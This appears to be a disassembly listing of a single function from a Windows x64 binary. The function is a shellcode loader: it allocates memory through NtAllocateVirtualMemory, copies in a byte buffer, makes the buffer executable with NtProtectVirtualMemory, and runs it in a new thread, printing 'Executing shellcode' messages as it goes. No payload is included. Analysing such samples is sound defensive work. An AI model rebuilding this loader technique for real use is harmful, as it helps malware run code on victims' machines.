Function at 0x140002f7c
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov qword [rbp - 0x18], 0
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x38]
mov eax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rdx
mov r8d, 0
mov rdx, rax
call sym.NtAllocateVirtualMemory
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x140003013
lea rax, str.____NtAllocateVirtualMemory_failed.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
jmp 0x140003195
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 0x38]
mov ebx, eax
mov rax, qword [rbp + 0x20]
add rax, 0x20
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp - 0x18]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea r8, [rbp - 0x20]
lea rax, [rbp - 0x18]
lea rdx, [rbp - 0x24]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20
mov rdx, rax
call sym.NtProtectVirtualMemory
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x1400030a7
lea rax, str.____NtProtectVirtualMemory_failed.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
jmp 0x140003195
lea rax, str.___Executing_shellcode...
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140003140
lea rax, str.____Failed_to_create_thread.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
jmp 0x140003195
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.___Shellcode_executed_successfully.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
add rsp, 0x68
pop rbx
pop rbp
ret